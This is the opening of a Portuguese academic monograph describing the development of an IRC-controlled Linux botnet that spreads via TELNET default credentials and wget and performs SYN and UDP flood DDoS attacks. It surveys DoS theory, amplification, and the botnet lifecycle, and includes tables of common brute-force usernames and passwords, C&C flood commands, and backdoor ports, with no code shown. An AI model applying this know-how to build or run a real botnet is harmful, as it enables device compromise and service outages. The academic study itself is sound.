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RESUMO

Este trabalho apresenta o desenvolvimento de uma rede botnet que pode ser controlada
através de um servidor de Internet Relay Chat (IRC) com capacidade para executar ataques de
negacdo de servico distribuidos (DDoS) e também executar comandos shell remotamente. Os
bots que compdem esta rede foram desenvolvidos na linguagem de programacdo C focados
inicialmente em dispositivos rodando sob a plataforma Linux. Os bots podem se propagar
automaticamente na rede em que estdo ou por uma rede especificada tentando fazer sua
replicacdo em dispositivos com a porta do protocolo TELNET (porta 23) que esteja aberta e
possua um usudrio e senha comum, também diferentes conjuntos de usuario e senha podem
ser especificados em um arquivo. Foi utilizado o software GNU wget para fazer o download
da copia do bot no novo dispositivo. Ao fazer a copia do payload do bot, o atacante pode
utilizar este dispositivo para executar comandos no shell do dispositivo infectado e também
pode realizar ataques de negacdo de servigo em conjunto com outros dispositivos pertencentes
a rede botnet. Os tipos de DDoS desenvolvidos neste trabalho sdo o TCP SYN flood e UDP
flood. Ao final é apresentado uma analise da rede durante a execucdo dos ataques DDoS

utilizando o software de monitoramento de trafego de rede Wireshark.

Palavras-chave: Botnet. Negacdo de servico. DDoS. IRC. Rede de bots.



ABSTRACT

This work presents the development of a botnet that can be controlled through an Internet
Relay Chat (IRC) server and is able to perform distributed denial of service attacks (DDoS),
besides can execute shell commands remotely. The bots that make up this network were
developed in the C programming language initially focused on devices running under the
Linux platform. The bots can automatically propagate on the network that they are on or by a
specified network trying to replicate themselves on devices with a TELNET protocol port
(port 23) open and has a common username and password, different sets of usernames and
passwords can be specified in a file. GNU wget software was used to download the bot copy
to the new device. By making a copy of the bot's payload, the attacker can use this device to
execute shell commands from the infected device and can also perform denial of service
attacks in conjunction with other devices belonging to the botnet. The types of DDoS
developed are TCP SYN flood and UDP flood. At the end, a network analysis with Wireshark
is done though the execution of DDoS attacks.

Key-words: Botnet. Denial of service. DDoS. IRC. Bot network.
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1 INTRODUCAO

Como o0 numero de pessoas conectadas cresce a cada dia (MINIWATTS
MARKETING GROUP, 2017), a seguranca da informacdo € um importante aspecto a ser
levado em consideracdo para melhorar a qualidade da rede. Segundo Voitovych et al. (2016,
p. 1), uma das ameacgas preocupantes da atualidade séo os ataques de negacdo de servigo.
Negacéo de servico (Denial of Service ou DoS em inglés), na definicdo de McDowell (2009,
p. 1), é uma tentativa para interromper o acesso a uma rede ou servidor, fazendo com que
fique temporariamente ou permanentemente indisponivel para seus usuarios. Ataques de
negacdo de servico vém sendo cada vez mais utilizados, pois sdo relativamente simples de
implementar, mas ao mesmo tempo sdo poderosos. Estes tém o objetivo de exaurir 0s recursos
de comunicacdo e poder computacional através da geracao de grandes quantidades de pacotes
e de trafego malicioso na rede (MALLIKARJUNAN; MUTHUPRIYA; SHALINIE, 2016).

Uma pesquisa feita no ano de 2014 (INCAPSULA, 2014, p. 5) demonstra que o
impacto dos ataques DoS aumentava a cada ano, e quase metade das empresas entrevistadas
(45%) indicavam que ja sofreram um ataque desse tipo. A pesquisa também aponta que 0
prejuizo médio de um ataque as vitimas é em torno de $40.000 por hora. Um caso de grande
magnitude foi ao final de 2016, sendo um ataque de negacdo de servico distribuido em larga
escala, estimado em 1,2Thps (terabits per second), deixou fora do ar sites como Twitter, the
Guardian, Netflix, Reddit, CNN e véarios outros pela Europa e Estados Unidos. A arma
utilizada para este ataque foi um malware chamado Mirai (WOOLF, 2016), um software
malicioso chamado botnet.

Segundo Zargar, Joshi e Tipper (2013, p. 1), os ataques de negacdo de servi¢o sdo na
maioria das vezes iniciados por uma ampla rede de computadores organizados e controlados
remotamente, denominada botnet. O atacante malicioso que controla a botnet tem
possibilidade de fazer com que todos os computadores pertencentes a esta rede enviem
simultaneamente uma grande quantidade de dados para um determinado alvo, a fim de

sobrecarrega-lo, deixando-o indisponivel. Vacca (2010) define uma botnet como:

[...] um conjunto de computadores comprometidos sendo controlados remotamente
por atacantes com propoésitos ilegais e maliciosos. O termo vem desses
computadores serem chamados de robots, ou bots abreviadamente, por causa de seu
comportamento automatizado. Vacca (2010, p. 193, tradugéo nossa).

Barford e Yegneswaran (2007, p. 3) argumentam que, no geral, as arquiteturas e
implementacdes das botnets sdo complexas, e 0s seus estudos se ddo basicamente através do
uso de engenharia reversa, portanto a catalogacdo de arquiteturas conhecidas [e também o

desenvolvimento] destes malwares pode contribuir para unificar os processos de deteccédo
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existentes. Bano (2010) também aponta em sua dissertacdo que, mesmo com todo o
crescimento das botnets, e aumento significativo dos ataques de negacédo de servico, ha falta

de material estruturado na area.

[...] o campo das botnets cresceu de forma altamente complexa. Esta complexidade
se d& por dois fatores. Primeiramente a vasta literatura sobre o tema permanece de
forma ndo estruturada. Segundo, a falta de uma plataforma colaborativa para
pesquisa de botnets é altamente sentida. (BANO, 2010, p. 1, tradugdo nossa).

Com base nos argumentos apresentados, foi-se desenvolvido uma botnet com foco em
dispositivos Linux, capaz de realizar atagues de negacéo de servi¢co por um dos métodos mais

convencionais que € o ataque por Inundacéo.

1.1 OBJETIVOS

O objetivo deste trabalho é desenvolver uma botnet que consiga se auto replicar e
realizar ataques de negacao de servico.

Os objetivos especificos sdo:

a) desenvolver um bot que execute de forma standalone;

b) desenvolver um mecanismo de comunicacgéo entre a botnet;

c) desenvolver um mecanismo para a proliferacdo automatica da botnet;

d) desenvolver formas de ataque de negacéo de servico;

e) analisar o comportamento da rede no momento em que o ataque DDoS esta sendo

executado.

1.2 ESTRUTURA

A monografia esta dividida em quatro capitulos. O primeiro capitulo apresenta a
introducdo ao tema do trabalho e seus objetivos. O segundo capitulo mostra a fundamentagéo
tedrica pesquisada, abordando o tema sobre ataques de negacdo de servico, botnets e sua
relagdo com o tema anterior bem como introduz ao leitor o protocolo Internet Relay Chat,
fundamental para a criacdo deste trabalho e também apresenta trés trabalhos correlatos. No
terceiro capitulo é descrito o processo de desenvolvimento, as técnicas e ferramentas
utilizadas, o fluxo de execugdo do software e analise dos testes realizados. Por fim, o quarto

capitulo apresenta as conclusdes e sugestdes de extensao para este.
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2 FUNDAMENTACAO TEORICA

Neste capitulo sdo apresentados os aspectos tedricos relacionados a este trabalho. Este
estd dividido em trés secdes: a primeira secdo aborda a taxonomia dos ataques de negacao de
servigo, seus impactos e motivacdes na atualidade. A segunda, trata sobre as botnets e sua
relagdo com estes ataques, e por fim na terceira se¢do, uma introducdo sobre o protocolo
Internet Relay Chat (IRC) devido a sua grande relacdo com as botnets.

2.1 ATAQUES DE NEGACAO DE SERVICO

“Negacao de servico é uma tentativa para interromper 0 acesso a uma rede ou servidor,
fazendo com que fique temporariamente ou permanentemente indisponivel para seus
usuarios” (MCDOWELL, 2009, p. 1, traducdo nossa). Segundo Balobaid, Alawad e Aljasim
(2016, p.1), o termo negacao de servi¢o ou Denial Of Service (DoS) é usado quando o alvo é
atacado por um unico sistema, ja quando o ataque provém de diversos sistemas, por exemplo
uma botnet, entdo chama-se de negagdo de servigo distribuido, ou Distributed Denial of
Service (DDoS).

A forma mais comum de realizar um ataque de negacdo de servigco é enviando uma
grande quantidade de pacotes na rede do alvo, a fim de consumir Seus recursos
computacionais, fazendo assim com que seus clientes legitimos ndo sejam atendidos
(MIRKOVIC; REIHER, 2004, p. 1). Ainda segundo Mirkovic e Reiher (2004), outra forma
mais elaborada é de o atacante enviar pacotes “malformados” dentro de um protocolo
especifico, fazendo com que o fluxo de execucdo daquele protocolo ndo seja seguido

normalmente, causando uma situacao adversa e prejudicial a vitima.

2.1.1  Motivacdes para os Ataques de DoS

Ataques de negagdo de servigo representam um perigo imenso para a Internet, e muitos
mecanismos de defesa j& foram propostos para acabar com esta ameacga. No entanto atacantes
constantemente modificam a forma dos ataques e conseguem encontrar novos jeitos de passar
pelos sistemas de segurangca (MIRKOVIC; REIHER, 2004, p. 1). O principal motivo que
levam atacantes a realizar este tipo de atividade ilegal é o desejo de causar danos na vitima,
em sua maioria, dano financeiro. Um motivo muito comum também esta relacionado com o
prestigio da comunidade hacker. Atacantes que conseguem conduzir um ataque DoS bem-
sucedido, ganham reconhecimento de grupos focados nesta atividade criminosa. Questdes

politicas também podem ser motivadoras para ataques em larga escala: um pais poderia querer
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sabotar servigos basicos de um pais inimigo, deixando parte de sua populagdo sem acesso
aquele servico (RADWARE, 2013, p. 16-20).

2.1.2  Ataques de Negacdo de Servico Distribuidos

Diferente dos ataques de negacdo de servico no qual o atacante utiliza apenas um
computador para atingir a vitima, ataque distribuido (DDoS) € quando o atacante possui uma
grande quantidade de maquinas para atacar o alvo. Utilizando computacdo distribuida o
ataque se torna muito mais poderoso e dificil de ser detectado, haja visto que a origem dos
IP’s ¢ muito variavel, dificultando a distingdo entre requisi¢fes legitimas e maliciosas (GU;
LIU, 2012).

Para o0 atacante conseguir diversas maquinas, ele geralmente dissemina um malware e
infecta diversos computadores, criando uma rede chamada botnet, este assunto sera tratado
com mais detalhes na secdo 2.2. Existe também a situacdo em que diversas pessoas agem de
forma cooperada fazendo o download de um programa para dar inicio a um ataque DDoS
como por exemplo o software Low Orbit lon Cannon (LOIC) (PRAETOX
TECHNOLOGIES, 2014). Neste caso ndo ha a figura de um atacante unico infectando
diversas maquinas, mas sim um grupo de usuarios utilizando sua propria maquina para atuar
em conjunto (RADWARE, 2013). A Figura 1 mostra um cenario comum, onde um atacante
possui uma botnet, as maquinas infectadas sdo chamadas de bots ou zombies. Na secdo 2.2
sobre botnets, sera visto que na maioria das vezes o atacante ndo se comunica diretamente

com os hosts infectados, ao invés disso utiliza um servidor externo para enviar comandos.

Figura 1 - Atague DD0S

1
——N
bot
= i
O || S =
o ——\ ol
T
3 bot ) ™
L w
3 3
(@] — o
O | | c
Atacante o — @ N
o oot ugt » vitima
m L
{D
4]
||
—\
bot

Fonte: elaborado pelo autor.



16

As formas de ataque DDoS vem evoluindo a cada ano, e atualmente combinam
diversos vetores de ataque em um s@, por isso caracterizar os ataques de negacdo de servigo
por apenas um ponto de vista é excepcionalmente dificil (RADWARE, 2013, p. 9). Pode-se
classificar de acordo com as caracteristicas mais relevantes em um ataque DDoS (GU; LIU,
apud Mirkovic et al., 2012): como € feita a busca por novas maquinas para infectar; IP de
origem dos pacotes maliciosos; qual a forma dos ataques.

2.1.2.1  Scanning

O processo de procurar novas maquinas e vulnerabilidades é chamado de scanning. No
passado os hackers faziam esse processo manualmente, porém atualmente com as botnets esse
processo é feito automaticamente pelos computadores infectados que fazem parte da botnet
(GU; LIU, apud Staniford et al, 2012, p. 10). As formas de scanning mais comuns s&o,
segundo Mirkovic e Reiher (2004):

a) random scanning: quando o host infectado procura por novos enderecos IP para
infectar, ele utiliza de um algoritmo para geracdo destes enderecos de forma
randomica, utilizando como entrada uma determinada semente. Cada host da
botnet utiliza uma semente diferente, assim hosts em uma mesma botnet
dificilmente tentaréo infectar os mesmos enderecos IP;

b) hitlist scanning: os enderegos IP que serdo utilizados para a tentativa de invasao
sdo fornecidos através de uma lista computada previamente. Os enderecos podem
estar diretamente codificados no codigo fonte do malware, ou também podem ser
obtidos pela rede através de comandos do hacker;

c) sub rede local: consiste em tentar infectar as maquinas que estdo na mesma sub
rede que o host infectado. Utilizando esta técnica é possivel infectar varias
maquinas que estdo atrds de um firewall, sendo, portanto, uma técnica muito

utilizada.

2.1.2.2  Enderecgo de Origem do Pacote Malicioso

Na criacdo de um pacote malicioso para 0 ataque DDoS o atacante pode escolher
utilizar um IP falso ou o IP real do host infectado. Ambas escolhas tém seus pros e contras,
mas geralmente os ataques DDoS utilizam-se da técnica de IP spoofing, que é o ato de
mascarar o IP (MIRKOVIC; REIHER, 2004). Segundo Mirkovic et al. (2005), mascarar a

origem do IP tem trés beneficios principais para o atacante: primeiro que dificulta a deteccéo
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e blogueio do ataque no lado da vitima; segundo que esta técnica pode ser utilizada para criar
ataques DDoS do tipo reflexdo, que serdo vistos na secdo 2.1.2.3; e terceiro que ajuda a
esconder a localizacdo das maquinas que fazem parte do ataque, assim dificultando a
localizagdo do atacante malicioso.

Dentre as formas de geracédo do IP falso, pode-se citar as mais comuns:

a) IP spoofing randémico: o IP que ser& colocado no cabecalho é gerado de forma
randomica;

b) IP spoofing de sub rede: é escolhido randomicamente um IP dentro da faixa de sub
rede da maquina infectada;

c) IP fixo: o IP que seré utilizado no cabecalho ja é conhecido previamente. Quando
utilizado para DDoS do tipo reflexdo o IP de origem é na verdade o IP da vitima, o
que sera explicado mais adiante na se¢do sobre DDoS por reflexdo.

O uso de um IP falso € muito Util para os atacantes e eles tentardo utilizar sempre que
possivel, porém em diversos tipos de ataque DDoS o uso do IP falso simplesmente ndo é
possivel (MIRKOVIC; REIHER, 2004). Ataques que visam atingir a camada de aplicacdo e
alguns tipos de ataque na camada de transporte necessitam de varias requisicdes entre cliente
e servidor para funcionarem. Por exemplo um ataque na camada HTTP necessita que o
handshake TCP esteja estabelecido e caso o atacante utilize o IP falso ndo sera possivel
estabelecer tal conexdo. Nestes cendrios o atacante necessita utilizar o IP real do bot.

2.1.2.3 Forma do Ataque

Para um sistema ficar online de forma apropriada, diversos componentes devem
funcionar corretamente. Um ataque de negacdo de servico pode objetivar exaurir tanto os
recursos de banda de rede e infraestrutura como também exaurir recursos de aplicacéo,
explorando alguma vulnerabilidade que faga com que a aplicagdo consuma muitos recursos
para responder a uma determinada requisig&o.

Ataques gque visam consumir os recursos de banda de rede, fazem isso enviando uma
grande quantidade de pacotes para a vitima. Mesmo que a vitima ainda possua recursos de
hardware para suportar mais usuarios, isso ndo sera possivel pois a banda de rede esta
saturada. Este tipo de ataque € chamado de flooding ou ataques volumétricos. Ja os ataques
que visam atingir uma aplicacdo, fazem isso enviando pacotes cuidadosamente modificados,

feitos para aquele tipo de aplicacdo (GU; LIU, 2012, p. 6-7).
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2.1.2.3.1 UDP flooding

Um tipo de ataque muito comum para saturar a rede é 0 abuso no envio dos pacotes de
User Datagram Protocol (UDP) (RADWARE, 2013, p. 27). Por se tratar de um protocolo nédo
orientado a conexdo, ou seja, ndo requer um handshake inicial, o atacante pode utilizar a
técnica de IP spoofing. Para saturar a rede o atacante pode enviar diversos pacotes UDP
pequenos para portas randémicas, fazendo com que a vitima sature sua banda ao tentar enviar
de volta pacotes de Internet Control Message Protocol (ICMP) com a mensagem ‘“‘destino

invalido”, avisando que nao existe aplica¢do para aquela porta.

2.1.2.3.2 ICMP flooding

Este ataque é similar ao UDP flood. O ICMP é utilizado para diagndsticos e erros, e
assim como o UDP ele é connectionless, ou seja, ndo exige um handshake inicial. O atacante
pode enviar uma grande quantidade de ICMP Ping para o alvo, e quando este tenta processar
cada requisicao a fim de enviar uma resposta, a sua rede fica saturada. Um ataque que utiliza
0 ICMP é o chamado Smurf Attack (GU; LIU, 2012) que sera visto na se¢do 2.1.2.3.3.

2.1.2.3.3 Ataque Por Amplificacdo

Para intensificar os ataques DDoS, uma técnica muito eficiente e que vem ganhando
muito espaco a cada ano (TIM MATTHEWS, 2016) é o ataque por amplificacdo. Neste
ataque, o hacker obtém vantagem da forma em que alguns protocolos tratam algumas
mensagens. A ideia é que ao enviar uma mensagem pequena para algum dispositivo este
respondera com uma resposta muito maior, assim seria possivel colocar o IP da vitima como
IP de origem, fazendo com que ela receba a resposta, ou seja, 0 pacote maior. Por exemplo, o
atacante pode tirar vantagem de um roteador, enviando para ele um pacote com IP de destino
sendo broadcast e IP de origem como sendo o IP da vitima, assim o roteador retransmitira o
pacote para todos os dispositivos da rede que responderdo simultaneamente enviando muito
trafego para o IP da vitima (RADWARE, 2013). Um ataque muito conhecido que explora
essa técnica € o Smurf Attack, no qual, segundo o CERT (1998), os dois principais
componentes utilizados no ataque de negacdo Smurf séo a criacdo de um pacote ICMP echo
request e o uso do IP destino em broadcast. A Figura 2 demonstra um atacante forjando um
ICMP echo request e enviando para a rede em broadcast. O IP origem do pacote foi o IP da
vitima, assim todo o trafego dos pacotes echo reply (pacote resposta ao echo request) é

redirecionado para a vitima.
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Figura 2 - Smurf Attack
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Para medir o efeito que os ataques de amplificacdo podem ter, uma métrica chamada
Bandwidth Amplification Factor (BAF) é utilizada (US-CERT, 2014). A métrica é calculada
comparando quantas vezes o tamanho da resposta excede o tamanho da requisicdo de
determinado protocolo. O Quadro 1 mostra alguns dos protocolos que mais sofrem desta

técnica, haja visto seu alto fator de amplificacéo.

Quadro 1- Principais protocolos e seus respectivos fatores de amplificacdo

Protocolo Fator de
amplificacdo
DNS 28 até 54
NTP 556.9
SNMPv2 6.3
NetBIOS 3.8
SSDP 30.8
CharGEN 358.8
QOTD 140.3
LDAP 46 até 55

Fonte: US-CERT (2014).

2.1.2.3.4 Amplificagio de Network Time Protocol

Uma das técnicas que mais cresce a cada ano e que foi responsavel por um dos maiores
ataques DDoS da histéria (TIM MATTHEWS, 2016, p. 5), é a amplificacdo do Network Time
Protocol (NTP). Computadores utilizam este protocolo para sincronizar seus reldgios através
da internet. A amplificacdo acontece neste protocolo ao enviar uma mensagem especial para o
servidor NTP, no qual a mensagem, chamada de MONLIST, retorna os ultimos 600 enderecos
IP que se comunicaram com aquele servidor (CUMMING, 2014). Assim, o atacante envia um
pacote requisitando a MONLIST e forja o IP da vitima no campo de origem, fazendo com que

a vitima receba um grande trafego NTP.
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A Figura 3 demonstra que um atacante com uma conexdo de apenas 1 Megabit por
segundo (Mbps) controlando 10 maquinas infectadas com 1 Gigabit por segundo (Gbps), é

capaz de gerar um ataque de até 500 Gbps utilizando servidores que amplificam o ataque.
Figura 3 - Representacdo de um atague por amplificacdo
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Fonte: Cumming (2014).

2.1.235 TCP SYN flood

Segundo Tim Matthews (2016), TCP SYN flood é o ataque mais comum entre 0s
utilizados para os grandes ataques DDoS: cerca de 75% dos ataques faz uso de TCP SYN
flood. Para entender o ataque deve-se conhecer como uma conexdo TCP entre um cliente e
servidor inicia. Primeiramente o cliente envia um pacote TCP com a flag SYN (ou seja, um
pacote SYN) indicando que deseja estabelecer uma conexdo. O cliente prové juntamente um
namero sequencial que o servidor fara uso para verificar a ordem das mensagens e se elas ndo
estdo duplicadas ou faltando. Assim que o pacote SYN chega, o servidor aloca um espago em
sua memoria chamado de Transmission Control Block (TCB), guardando informagdes sobre a
conexdo com aquele cliente. Apos alocar espaco no TCB, o servidor responde com o pacote
SYN-ACK, indicado que esta ciente e aguardando por novos pacotes. Assim que o cliente
recebe a mensagem ele também aloca um TCB e envia um ACK novamente para o servidor
(MIRKOVIC et al., 2005). Este processo ¢ chamado de three-way handshake. A Figura 4

demonstra este processo.
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Figura 4 - Processo do three-way handshake
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Fonte: Mirkovic et al. (2005).
O ataque TCP SYN flood, faz uso do fato de o servidor manter o TCB na memoria até

0 proximo ACK do cliente, ou quando a conexao estourar o limite de tempo (timeout)
(MIRKOVIC et al.,, 2005). Um atacante malicioso pode enviar diversos pacotes SYN
utilizando IP spoofing para o servidor da vitima, fazendo com que o servidor esgote
rapidamente a sua memoria de alocacdo de TCB, assim ndo conseguindo receber nenhuma
conexdo nova com clientes legitimos. Como o atacante utilizou IP spoofing, o servidor nunca
tera a resposta dos pacotes SYN-ACK, pois quem os receber vai descarta-los, ja que nao
enviaram nenhum pacote SYN previamente (RADWARE, 2013). A Figura 5 diferencia uma
conexdo legitima de uma maliciosa que utiliza IP spoofing enviando diversos pacotes SYN
gerando SYN flood.

Figura 5 — Representacdo do ataque SYN flood utilizando IP spoofing
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2.2 BOTNETS

Botnet € um conjunto de computadores interligados, controlados por um botmaster, e
também podem ser controlados a distancia, sem que o usuario tenha autorizado (MUZZI
apud SACCHETIN et al., 2010). Segundo Schiller et al. (2007, p. 30), uma botnet combina
varias vulnerabilidades e varios aspectos da seguranca da informacdo em um unico software.
Uma botnet tipica consiste de um bot server (geralmente chamado de servidor de comando e
controle) e de um ou mais botclients (também chamados apenas de bot ou zumbis). O bot
server tem o objetivo de enviar comandos aos botclients. Comandos tipicos de uma botnet
incluem iniciar DoS, enviar spam, comandos de propagacao, escanear rede a procura de hosts
vulneraveis, abrir e executar arquivos locais (HONEYNET PROJECT, 2008). Botnets com
algumas centenas ou até milhares de botclients sdo consideradas botnets de pequeno porte
(SCHILLER et al., 2007, p. 30).

Bano (2010, p. 12) aborda que um dos principais objetivos de uma botnet & aumentar o
seu footprint em termos do nimero de bots e que a maioria dos bots j& tem mecanismos
embutidos em seu proprio codigo para se propagar de forma autdnoma. Dependendo o nivel
de interacdo humana necessaria para a disseminacdo do malware é possivel classificar de
forma mais genérica entre propagacdo ativa e propagacdo passiva, sendo a primeira
totalmente independente do usuério, ja a segunda requer algum tipo de intervencao.

2.2.1 Ciclo de vida de uma botnet

Todas as botnets seguem um ciclo de vida parecido. De forma simplificada, o ciclo de
vida da botnet inicia com o atacante (botmaster) tentando infectar um host, seja através de um
arquivo malicioso baixado por e-mail, vulnerabilidades no sistema do alvo, ou tentativa de
usuario e senha por forca bruta. Uma vez que o host estiver infectado, ele se transforma em
um botclient, este por sua vez dara continuidade ao processo de infecgdo da mesma maneira,
porém geralmente de forma automatizada, ou seja, sem intervengdo do botmaster (embora
ainda precise de intervencao do usuério a ser infectado no caso de propagacéo passiva). Apos
tentar infectar outros hosts, o botclient faz uma comunicagdo com um servidor gerenciado
pelo botmaster, e aguarda comandos para iniciar alguma atividade maliciosa, seja iniciar um
ataque DoS, enviar de spams, ou simplesmente espionar os dados do host, a fim de envia-los
para o atacante (SCHILLER et al., 2007, p. 30-40; ZHU et al. 2008, p. 1). A Figura 6 mostra
o ciclo de vida comum de uma botnet, embora na figura esteja incluido uma etapa que

envolve buscar o IP do servidor de comando e controle através de um DNS lookup, este passo
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ndo necessariamente é obrigatorio, outras formas de buscar o IP podem existir, incluindo ter o
IP fixo no cddigo fonte (GUO et al., 2016).

Figura 6 - Ciclo de vida tipico de uma botnet
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Fonte: Zhu e Lee (2015).

2.2.1.1  Processo de Infeccao

Como mostrado na Figura 4, o ciclo de vida de uma botnet geralmente comeca com a
fase de infeccdo (comumente chamado de exploit em inglés) (SCHILLER et al., 2007, p. 31).
Uma botnet pode infectar hosts de diversas maneiras (¢ comum uma botnet ter mais de um
vetor de infeccdo). As formas mais conhecidas sdo: engenharia social para fazer o usuario
executar codigo malicioso, ataques contra softwares ndo atualizados, backdoors deixadas por
outros trojans, tentativa de senhas comuns (por exemplo: admin/admin) e tentativa de senha

por forca bruta.

2.2.1.1.1 Engenharia Social

O uso de engenharia social para disseminar um cédigo malicioso é uma técnica muito
efetiva, haja visto que ocorre por mal-uso ou ingenuidade do usuario. Engenharia social pode
ser atraves de (SCHILLER et al., 2007, p. 31-32):

a) phishing e-mails, no qual o usuério é levado a clicar em algum link que o leva para

alguma pagina maliciosa;

b) paginas web contendo banners do tipo “clique aqui para ganhar um prémio”, e

caso o usuario clique, sera feito o download de um trojan;

c) anexos de e-mail maliciosos, se passando por anexos reais;
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d) spam em mensagem instantdnea, onde a vitima recebe uma mensagem do tipo
“vocé precisa ver isso!” seguido de um link, que quando feito o download

executara o codigo malicioso.

2.2.1.1.2 Ataques Contra Softwares Ndo Atualizados

Nesta forma de infeccdo, o bot deve implementar alguma forma de scan para
identificar portas e servigcos abertos nos hosts da rede. Usuérios/administradores que néo
atualizam seus dispositivos constantemente tem chances maiores de serem infectados mais
rapidamente. E importante também manter sempre o antivirus atualizados para evitar este tipo
de infeccdo. Algumas vulnerabilidades mais comuns exploradas pelas botnets sdo:

a) Remote Procedure Call (RPC) Locator;

b) compartilhamento de arquivo pela porta 445;

c) Netbios (porta 139);

d) NTPass (porta 445);

e) MSSQL (porta 1433).

2.2.1.1.3 Backdoors

Outra forma utilizada para explorar vulnerabilidades em um dispositivo é através de
backdoors deixado por outros malwares como por exemplo os Remote Access Trojans
(RATS) (SCHILLER et al., 2007, p. 34). Estes malwares tem a habilidade de controlar o
computador da vitima a distancia e sdo relativamente simples de instalar em um computador,
mesmo por pessoas sem conhecimento técnico. Por ser de facil instalacdo, muitas vezes quem
instala 0 RAT acaba deixando a senha de acesso padrédo, portanto algumas botnets exploram
este fator, tentando acessar estas backdoors com senha padrdo. Alguns backdoors mais
explorados sdo, segundo (SCHILLER et al., 2007, p. 34):

a) Optix backdoor (porta 3140);

b) Bagle backdoor (porta 2745);

¢) Kuang backdoor (porta 17300);

d) Mydoom backdoor (porta 3127).

2.2.1.1.4 Forca Bruta e Senhas Comuns

E comum que as botnets possuam uma variedade de senhas comuns gravadas em seu

codigo fonte a fim de tentar conectar em computadores domeésticos e servidores
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(SCHILLER et al., 2007, p. 34). Segundo Owens e Matthews (2008), a tentativa de
conexdo por forca bruta em servidores Secure Shell (SSH), File Transfer Protocol (FTP) e
Telnet sdo a forma mais comum de ataque a servidores atualmente. O Quadro 2 mostra 0s
usuarios mais utilizados em ataques deste tipo e o Quadro 3 mostra as senhas mais
utilizadas. O uso do %usuario% no Quadro 3 é um valor variavel, em que a senha é igual
ao UsUArio que esta se tentando acessar, portanto tem variagcdes. (OWENS; MATTHEWS,
2008).

Quadro 2 - Usuérios mais comuns utilizados em ataques a servidores SSH
USUARIO

root

admin

test

a

guest

user

oracle

postgres

webmaster

Mysql

Fonte: Owens e Matthews (2008).



26

Quadro 3 - Senhas mais comuns utilizadas em ataques a servidores SSH

SENHA

%usuario%

123456

password

test

12345

test123

123

1234

passwd

admin

Fonte: Owens e Matthews (2008).

2.2.1.2

Baixando o bot e Aguardando Ordens

Depois que o bot conseguiu de alguma forma ter acesso ao dispositivo da vitima, ele

envia um comando para transmitir o seu executavel para aquele dispositivo, transformando-o

assim em mais um bot da rede. Apos isso 0 novo dispositivo infectado conecta-se de alguma

forma com o botmaster, sendo 0 mais comum através de um servidor de Internet Relay Chat
(IRC), e aguarda comandos enviados pelo botmaster (SCHILLER et al., 2007, p. 41).

O uso mais comum para uma botnet é para criagdo de ataques de negagdo de servico.

Comandos tipicos de negacdo de servico enviados pelo botmaster sdo mostrados no Quadro 4
(HONEYNET PROJECT, 2008).

Quadro 4 - comandos tipicos utilizados em um servidor de C&C

[recursive = true||false]

COMANDO PROPOSITO

ddos.stop Pausa todos os ataques
ddos.synflood [host] [time] [delay] [port] Inicia ataque do tipo SYN flood
ddos.updflood [host] [port] [time] [delay] Inicia ataque do tipo UDP flood
ddos.httpflood [url] [number] [referrer] Inicia ataque do tipo HTTP flood

Fonte: Honeynet Project (2008).
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2.3 PROTOCOLO IRC

O protocolo Internet Relay Chat (IRC) foi criado em 1988 com propositos nédo
maliciosos. A criacdo do IRC tinha como principio permitir que pessoas se conectassem a um
servidor e pudessem trocar mensagens de texto em tempo real (ZHU; LEE, 2015, p. 1). Este
protocolo tem baixa laténcia e permite enviar mensagens em broadcast de forma rapida e
facil, portanto esta forma de comunicacdo € muito atrativa para o uso em botnets, onde 0
botmaster precisa comunicar-se com todos os bots de uma s6 vez (LIN; CHEN; TZENG,
2009).

Por ser um protocolo da camada de aplicacdo, o IRC pode ser facilmente customizado.
As implementagdes existentes provém grande nimero de comandos disponiveis, um deles é a
atribuicdo de senha nos canais de comunicacao, este sendo mais um atrativo para quem deseja
controlar uma botnet através desse protocolo (ZILONG et al., 2010). A Figura 7 demonstra
um cenario comum onde trés bots conectados em um servidor IRC ouvem um canal que exige

senha para se conectar.

Figura 7 - Bots conectados em um canal IRC recebendo comandos do botmaster

An attacker create
hidden chat channel,
and require a password
t0 access

. 1.Bothost jointhe |
* designated chat channel, ;
. waiting to receive

instructions /

3.Bot host attack the
designated host

2.An attacker send
commands to all Bot
which host in the channels f

Vietim host The attacker (control side)

IRC server (Command and
Control Server)

Bot Host (controlled side)

Fonte: Zilong et al. (2010).

2.4 TRABALHOS CORRELATOS

Sdo apresentados trés trabalhos correlatos, que possuem caracteristicas semelhantes a
proposta deste. A secdo 2.4.1 detalha o trabalho de Bano (2010), o qual propGe a deteccédo de
botnets através de uma ferramenta de software livre chamada BotFlex. J& a se¢do 2.4.2 aborda
o malware de destaque mundial, nomeado LightAidra, definido pelo seu autor Federico Fazzi

como um scanner em massa de roteadores com comunicacdo baseada no protocolo Internet
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Relay Chat (IRC). A secdo 2.4.3 apresenta o malware Mirai, uma botnet que ficou muito
conhecida por infectar dispositivos de Internet das Coisas.

2.4.1 BotFlex

Bano (2010), desenvolveu o BotFlex, descrito por ela como “uma ferramenta open
source, extensivel, para deteccdo de botnets”. O software BotFlex funciona em cima do
sistema de deteccéo e intruséo (IDS) Bro (www.bro.org). Foi inicialmente desenvolvido para
deteccdo de botnets apenas, porém atualmente funciona para a maioria dos malwares de
internet. Como destacado por Bano (2010, p. 66), para uma usabilidade real nos cenarios
atuais de deteccdo de botnets, o BotFlex precisa gerenciar eventos de rede em tempo real,
precisa ser extensivel, ter flexibilidade e deve suportar formas de log extensiveis para melhor
anélise forense.

O BotFlex se baseia no principio de que multiplas fontes de evidéncias aumentam as
chances de infeccdo, portanto o software armazena por um tempo os hosts que foram
categorizados em alguma das situagdes consideradas como potencialmente parte de uma
botnet. O BotFlex considera cinco categorias como sendo atividade maliciosa na rede (Figura
8):

a) scan: o primeiro passo de uma botnet antes de tentar explorar outros hosts.
Também chamado de portsweep, o scan geralmente é identificado quando um
software testa varias conexdes na mesma porta em IP’s diferentes em um curto
espaco de tempo;

b) exploit: sinais que um host foi ‘explorado’, por exemplo, quando tenta fazer acesso
ao SSH com forca bruta, ou quando é encontrado em black lists de hosts
maliciosos;

c) egg download: que sdo os downloads de arquivos suspeitos, por exemplo um
arquivo exe com uma extenséo diferente;

d) comando e controle: sinais de que um malware esta tentando fazer uma
comunicagdo remota. Sinais que indicam isso seriam: altas taxas de erro na
resolucdo de dominio (DNS) (pois alguns bots, geram o dominio através de um
algoritmo, assim gerando dominios invalidos varias vezes);

e) attack: sinais de comportamento agressivo indicando que o0 host esta

comprometido. Exemplo, ataques de SQL Injection.
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Figura 8 - Nucleo da arquitetura da BotFlex
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Fonte: Bano (2010, p. 69).

